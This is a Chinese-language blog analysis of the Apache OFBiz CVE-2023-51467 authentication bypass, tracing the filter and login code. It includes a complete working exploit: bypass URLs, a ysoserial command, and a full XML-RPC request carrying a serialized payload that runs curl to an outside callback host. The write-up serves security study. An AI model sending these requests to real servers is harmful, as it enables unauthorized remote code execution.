首页 > 其他分享 >Apache Ofbiz CVE-2023-51467 漏洞分析

Apache Ofbiz CVE-2023-51467 漏洞分析

时间:2024-02-13 23:12:19浏览次数:33  
标签:control 语句 null xmlrpc 51467 2023 Apache webtools CVE

Apache Ofbiz CVE-2023-51467 漏洞分析

漏洞影响范围

  • Apache OFBiz < 18.12.10

环境搭建

启动docker环境

vulhub-master/ofbiz/CVE-2023-51467

克隆仓库,转到指定commit,用idea进行远程调试

git clone https://github.com/apache/ofbiz-framework.git
cd ofbiz-framework
git checkout 7935a14627a86325440516ac6b892a5f9d635e4d

漏洞分析

CVE-2023-51467 是对 CVE-2020-9496 漏洞的进一步绕过。在修补 CVE-2020-9496 后,Apache OFBiz 官方引入了关键性补丁,包括:

  • 对 /control/xmlrpc 接口的传入数据添加过滤器。
  • 对 /control/xmlrpc 接口实施认证和授权。

过滤器绕过

在补丁处 org.apache.ofbiz.base.util.CacheFilter#doFilter 的两个判断进行了数据过滤

image.png
第一个if语句判断当前的path是不是等于 /control/xmlrpc ,第二个if 语句判断body中是否包含 </serializable

利用矩阵参数(Matrix Parameters)的写法,可以绕过第一个if对于path的判断,从而直接跳过这个filter。

以下是一个完整的url格式示例,其中的Matrix Parameters就是矩阵参数

image.png
所以,写成/webtools/control/xmlrpc;/或者/webtools/control/xmlrpc/;/都可以进行绕过。实际上,我测试的以下几个都可以进行绕过

加斜杠:
/webtools/control/xmlrpc/
/webtools/control/xmlrpc//
矩阵参数写法:
/webtools/control/xmlrpc;/
/webtools/control/xmlrpc/;/
/webtools/control/xmlrpc/;o/
/webtools/control/xmlrpc/;o=1/
/webtools/control/xmlrpc;o/
/webtools/control/xmlrpc;o=1/

未授权访问

访问 /control/xmlrpc 接口需要认证

image.png

其认证逻辑在 org.apache.ofbiz.webapp.control.LoginWorker#checkLogin 中,查找380行的 return 处,返回了 success ,即为认证成功

image.png

需要代码运行到此片段,需要绕过下面两个if条件语句
一个为343行的条件语句

image.png

另一个为374行的条件语句

image.png

接下来对这两个条件语句的逻辑进行跟踪解析
转到343行的条件语句,

image.png
它检查了几种情况:

  1. 如果用户名(username)为null;
  2. 或者密码(password)为null并且令牌(token)也为null;
  3. 或者调用login方法返回的结果为字符串"error"。

如果以上任何一个条件成立,整个条件语句将会返回true,否则返回false。
其中的username、password、token三个参数都是从请求中获取

image.png

来到343行的判断,第一个语句username == null
如果 username = ""(即用户名为空字符串),那么 username == null 的判断结果将会是 false。因为在Java中,空字符串("")和 null 是有区别的。

  • null 表示该变量没有引用任何对象。
  • 空字符串("")表示该变量引用了一个内容为空的字符串对象。

同理第二个判断(password == null && token == null),设置password = ""为空,判断结果也会是 false
进入第三个语句"error".equals(login(request, response)),其login(request, response)不为"error"时,则可以绕过此条条件语句。
查看login()方法,在其444-448行处,返回了login()方法值。当参数requirePasswordChange等于Y时,则把Y作为返回值, 否则返回 error

image.png

我们只需要设置requirePasswordChange=Y则可以绕过权限校验。结合以上分析,完整的构造url为:
?USERNAME=&PASSWORD=&requirePasswordChange=Y

构造出整个利用url:
/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y

漏洞利用

修改之前 CVE-2020-9496 的 POC 代码即可。漏洞利用的 URL 为 https://localhost:8443/webtools/control/xmlrpc。在 OFBiz 中,存在 CommonsBeanutils1 利用链,可以生成反序列化数据并进行 base64 编码:

java -jar ysoserial-0.0.8-SNAPSHOT-all.jar  CommonsBeanutils1   "curl http://RCE.bgkjco.dnslog.cn" | base64 |  tr -d '\n'

以下是发送数据包,反序列化数据写在 <serializable> 标签里

POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Connection: close
Content-Type: application/xml
Content-Length: 4117

<?xml version="1.0"?>
<methodCall>
  <methodName>22</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>22</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAAgzK/rq+AAAAMwAcAQAaeXNvc2VyaWFsL1B3bmVyMzA3MzUwNTAzMzIHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAFVB3bmVyMzA3MzUwNTAzMzIuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BADhjdXJsIGh0dHA6Ly85anRweHdrdWNpenRkem5pNzdrcnN4ZHF6aDU4dHlobi5vYXN0aWZ5LmNvbQgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQANU3RhY2tNYXBUYWJsZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABcBAAY8aW5pdD4MABkACAoAGAAaACEAAgAYAAAAAAACAAgABwAIAAEACQAAACQAAwACAAAAD6cAAwFMuAAPEhG2ABVXsQAAAAEAFgAAAAMAAQMAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnVxAH4AEAAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

修复

最新发行版18.12.10中,对于CVE-2023-49070的修复方式是直接移除了XML-RPC相关的逻辑。

标签:control,语句,null,xmlrpc,51467,2023,Apache,webtools,CVE
From: https://www.cnblogs.com/yyhuni/p/18014910

相关文章

  • 2023年度小结
    这一年经历的挺多的。年初时还在疫情,直到疫情结束,经历了又一个超长寒假,才得以正常学习。高三下学期,政治,地理两门双双出问题,努力了一段时间,确实没有提高太多,可能还是不够用功吧。三次模拟一次比一次低,状态也越来越差,三模又生了病,高考第一天又复发了,确实运气不好,考的也不怎么样。后......
  • GDKOI2023 错排
    逆天。转化后的题意\(q\)组询问,求有\(n-m\)个自由元素,\(m\)个限制元素的错排问题。\(1\len,m,q\le2\times10^5\)首先写出两种组合意义的转移方程:\[\begin{aligned}f(n,m)&=f(n,m-1)-f(n-1,m-1)\\f(n,m)&=(m-1)f(n-1,m-2)+(n-m)f(n-1,m-1)\end{aligned}\]......
  • 【学习笔记】李宏毅 2023 春机器学习课程听课记录
    1ChatGPT原理剖析ChatGPT的社会化:学会文字接龙人类引导文字接龙方向模仿人类喜好用增强式学习向模拟老师学习1.1预训练(Pre-train)ChatGPT真正在做的事情本质上是文字接龙,将其看成一个函数\(f(x)\),其中的\(x\)自变量可以是用户输入的一个语句,得到的函数就是接下来......
  • V的2023 - 虽迟但到
    一年一度的年终总结又来了,只感叹时光飞逝,这几年的年终总结对我来说就好像是一年写一次的日记,记忆会模糊,但文字不会。这是第四年,每次回首前几年的文章,心中都会有一丝触动,原来生活给我留下过深刻痕迹。V的2022-往事随风不平凡的2021年ykCoder的2020年年终总结爬山散心二......
  • 回顾2023,拥抱2024
    导航引言降本增效:一滴油的启示ChatGpt:助推AI落地的催化剂技术部为GMV负责:战略转型还是权宜之计做灯泡还是发动机:职业发展灵魂之问长期主义:坚持做高价值的事情2023年,你努力了吗发展是解决一切问题的总钥匙幸福是奋斗出来的结语引言农历新年的钟声即将敲响,再过几个小......
  • 2023年最后一天:有收获有遗憾
    本年事记:学业:PHD毕业,论文发表3篇;知识:书籍1本,专利2项,CDA认证;奖项:北京,全国二等奖;项目:西北市场开拓,已有项目深化。安全:曙光微现;教育:儿子初中,为高中准备;事业:开始;健康:有好有坏;亲人:妈妈身体,爱人身体; 未来一年:教育:儿子奖项;事业:继续;健康:转好;影响:正高级,特聘亲人:弟弟终身大......
  • P9170 [省选联考 2023] 填数游戏 题解
    Description众所周知,Alice和Bob是一对好朋友。今天,他们约好一起玩游戏。一开始,他们各自有一张空白的纸条。接下来,他们会在纸条上依次写\(n\)个\([1,m]\)范围内的正整数。等Alice写完,Bob在看到Alice写的纸条之后开始写他的纸条。Alice需要保证她写下的第\(i\)个......
  • P9478 [NOI2023] 方格染色题解
    题解对于行操作,列操作和对角线操作,实际上仅仅只是在对若干个矩形求面积并而已,这是裸的扫描线题,套用模板即可,此时注意到对角线操作实际上是\(O(n)\)量级的矩阵面积并,因此复杂度是\(O(n\logq+q\logq)\)的量级,只能获得95pts。显然,面积并具有交换性,我们先做\(O(q\logq)\)......
  • 2023游寄
    按首次参加时间排序。蓝桥STEMA考点:家里(打得最好的比赛之一。年初场选择题好简单,编程题就会前几道,没想到最后500+分进了GD省赛……可惜省赛跟英语撞了,没打……年末场跟年初场差不多,编程题多了一道也多做了一道,最后居然进了前5%……省赛还没开始……ITC考点:家里题目大......
  • 2023 年终总结
    2023年终总结是的,这是我不知道第几次打算写23年的总结了,每次写都需要重新酝酿一下情绪,然后再重新投入进去,接下来就是写到写的欲望被消磨殆尽,或者是突然去做其他的事情,比如睡觉,也就有了好几篇废稿。,当然也有个原因是在写的过程中不想总是延续21年总结那种时间线的结构写了。......